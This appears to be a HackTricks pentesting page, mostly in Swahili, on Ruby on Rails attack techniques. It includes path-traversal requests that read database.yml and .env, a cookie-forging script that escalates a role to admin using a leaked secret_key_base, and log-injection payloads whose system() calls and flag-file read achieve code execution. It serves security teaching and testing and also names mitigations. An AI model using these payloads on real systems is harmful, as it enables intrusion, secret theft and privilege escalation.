9.7 KiB
Mbinu za Ruby
{{#include ../../banners/hacktricks-training.md}}
Kupakia faili hadi RCE
Kama ilivyoelezwa katika this article, kupakia faili .rb
ndani ya saraka nyeti kama config/initializers/
kunaweza kusababisha remote code execution (RCE) katika maombi ya Ruby on Rails.
Vidokezo:
- Mahali pengine pa boot/eager-load zinazotekelezwa wakati maombi yanapoanzishwa pia ni hatari ikiwa yanaweza kuandikwa (mfano,
config/initializers/
ndio klasy). Ukiweza kupata upload ya faili yoyote inayowekwa chini yaconfig/
na baadaye kuathiriwa/evaluated/required, unaweza kupata RCE wakati wa boot. - Tafuta builds za dev/staging ambazo zinakopa faili zilizo under udhibiti wa mtumiaji katika container image ambapo Rails itawa-load wakati wa boot.
Active Storage image transformation → command execution (CVE-2025-24293)
Wakati app inatumia Active Storage pamoja na image_processing
+ mini_magick
, na inapitia parameters zisizo za kuaminika kwa methods za image transformation, matoleo ya Rails kabla ya 7.1.5.2 / 7.2.2.2 / 8.0.2.1 yanaweza kuruhusu command injection kwa sababu baadhi ya transformation methods ziliorodheshwa kwa makosa kama default.
- A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
where params[:t]
and/or params[:v]
are attacker-controlled.
-
Mambo ya kujaribu wakati wa upimaji
-
Tambua endpoints zinazoepuka variant/processing options, transformation names, au ImageMagick arguments yoyote.
-
Fuzz
params[:t]
naparams[:v]
kwa makosa yanayoshuka shaka au side-effects za execution. Ikiwa unaweza kuathiri jina la method au kupitisha raw arguments zinazofika MiniMagick, unaweza kupata code exec kwenye host ya image processor. -
Ikiwa una access ya kusoma tu kwa generated variants, jaribu blind exfiltration kupitia ImageMagick operations zilizotengenezwa kwa madhumuni hayo.
-
Utatuzi/ugunduzi
-
Ikiwa unaona Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 na Active Storage +
image_processing
+mini_magick
na transformations zilizo under control ya mtumiaji, zingatia kuwa inaweza kutumika. Pendekeza kusasisha na kutekeleza allowlists kali kwa methods/params na sera ya ImageMagick iliyo hardened.
Rack::Static LFI / path traversal (CVE-2025-27610)
Ikiwa stack ya lengo inatumia Rack middleware moja kwa moja au kupitia frameworks, matoleo ya rack
kabla ya 2.2.13, 3.0.14, na 3.1.12 yaruhusu Local File Inclusion kupitia Rack::Static
wakati :root
haijatengwa/imeconfigured vibaya. Encoded traversal katika PATH_INFO
inaweza kufichua faili chini ya process working directory au root isiyotarajiwa.
- Tafuta apps zinazo-mount
Rack::Static
katikaconfig.ru
au middleware stacks. Jaribu encoded traversals dhidi ya static paths, kwa mfano:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
Rekebisha prefix ili iendane na urls:
zilizowekwa. Ikiwa app inajibu kwa maudhui ya faili, kuna uwezekano una LFI kwa chochote chini ya :root
iliyotambuliwa.
- Kupunguza hatari: sasisha Rack; hakikisha
:root
inaonyesha tu kwa directory ya public files na imewekwa wazi wazi.
Kutengeneza/ku-decrypt cookies za Rails wakati secret_key_base
is leaked
Rails encrypts na signs cookies kwa kutumia keys zinazotokana na secret_key_base
. If that value leaks (mfano, katika repo, logs, au misconfigured credentials), kwa kawaida unaweza decrypt, modify, na re-encrypt cookies. Hii mara nyingi husababisha authz bypass ikiwa app inahifadhi roles, user IDs, au feature flags katika cookies.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Vidokezo:
- Programu za zamani zinaweza kutumia AES-256-CBC na salts
encrypted cookie
/signed encrypted cookie
, au JSON/Marshal serializers. Badilisha salts, cipher, na serializer ipasavyo. - Wakati wa compromise/assessment, badilisha
secret_key_base
ili kuufanya usifanye kazi cookie zote zilizopo.
Tazama pia (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution: {{#ref}} ../../pentesting-web/deserialization/README.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-class-pollution.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-_json-pollution.md {{#endref}}
- Template injection in Ruby engines (ERB/Haml/Slim, etc.): {{#ref}} ../../pentesting-web/ssti-server-side-template-injection/README.md {{#endref}}
Log Injection → RCE via Ruby load
and Pathname.cleanpath
smuggling
When an app (often a simple Rack/Sinatra/Rails endpoint) both:
- logs a user-controlled string verbatim, and
- later
load
s a file whose path is derived from that same string (afterPathname#cleanpath
),
You can often achieve remote code execution by poisoning the log and then coercing the app to load
the log file. Key primitives:
- Ruby
load
hutekeleza yaliyomo ya faili lengwa kama Ruby bila kujali file extension. Faili yoyote ya maandishi inayoweza kusomwa na ambayo yaliyomo yake yanachambuliwa kama Ruby itaendeshwa. Pathname#cleanpath
inabana vipande.
na..
bila kugusa filesystem, ikiruhusu path smuggling: takataka inayodhibitiwa na mshambuliaji inaweza kuongezwa mwanzoni kwa ajili ya logging wakati path iliyosafishwa bado inarekebisha kwa faili lililokusudiwa kutekelezwa (mfano,../logs/error.log
).
Mfano mdogo wa muundo dhaifu
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
Kwa nini log inaweza kuwa na Ruby halali
Logger
huandika mistari za utangulizi kama:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
Katika Ruby, #
huanza maoni na 9/2/2025
ni hesabu tu. Ili kuingiza msimbo halali wa Ruby unahitaji:
- Anza payload yako kwenye mstari mpya ili isifutwe kama comment na
#
kwenye mstari wa INFO; tuma newline ya mwanzo (\n
or%0A
). - Funga
[
iliyodumu iliyotolewa na mstari wa INFO. Njia ya kawaida ni kuanza na]
na, kwa hiari, kuridhisha parser kwa][0]=1
. - Kisha weka msimbo wowote wa Ruby (mfano,
system(...)
).
Mfano wa kile kitakachomalizika kwenye log baada ya ombi moja lenye crafted param:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
Kupeleka mfuatano mmoja ambao kwa wakati mmoja unarekodi code na unatatua kuwa log path
Tunataka mfuatano mmoja unaodhibitiwa na mshambuliaji ambao:
- wakati ulogiwa raw, unajumuisha payload yetu ya Ruby, na
- wakati upitishwa kupitia
Pathname.new(<input>).cleanpath
, unatokana na../logs/error.log
iliload
inayofuata itekeleze faili ya logi iliyohujumiwa hivi karibuni.
Pathname#cleanpath
hupuuzia schemes na hukusanya vipengele vya traversal, hivyo yafuatayo hufanya kazi:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
- Alama ya
#
kabla ya://
inahakikisha Ruby inapuuzia kile kilicho nyuma wakati logi inapoendeshwa, wakaticleanpath
bado inapunguza nyongeza hadi../logs/error.log
. - Newline ya mwanzo inavunja mstari wa INFO;
]
inafunga kibano kilichokuwa wazi;][0]=1
inamridhisha parser.
End-to-end exploitation
- Tuma yafuatayo kama jina la script ya backup (URL-encode the first newline as
%0A
if needed):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- The app logs your raw string into
logs/error.log
. - The app computes
cleanpath
which resolves to../logs/error.log
and callsload
on it. - Ruby executes the code you injected in the log.
Ili exfiltrate faili katika mazingira kama ya CTF:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (char ya kwanza ni newline):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Marejeo
- Tangazo la Usalama la Rails: CVE-2025-24293 Active Storage mbinu za uongofu zisizo salama (imerekebishwa katika 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- Taarifa ya GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Ruby Pathname.cleanpath docs
- Ruby Logger
- How Ruby load works
{{#include ../../banners/hacktricks-training.md}}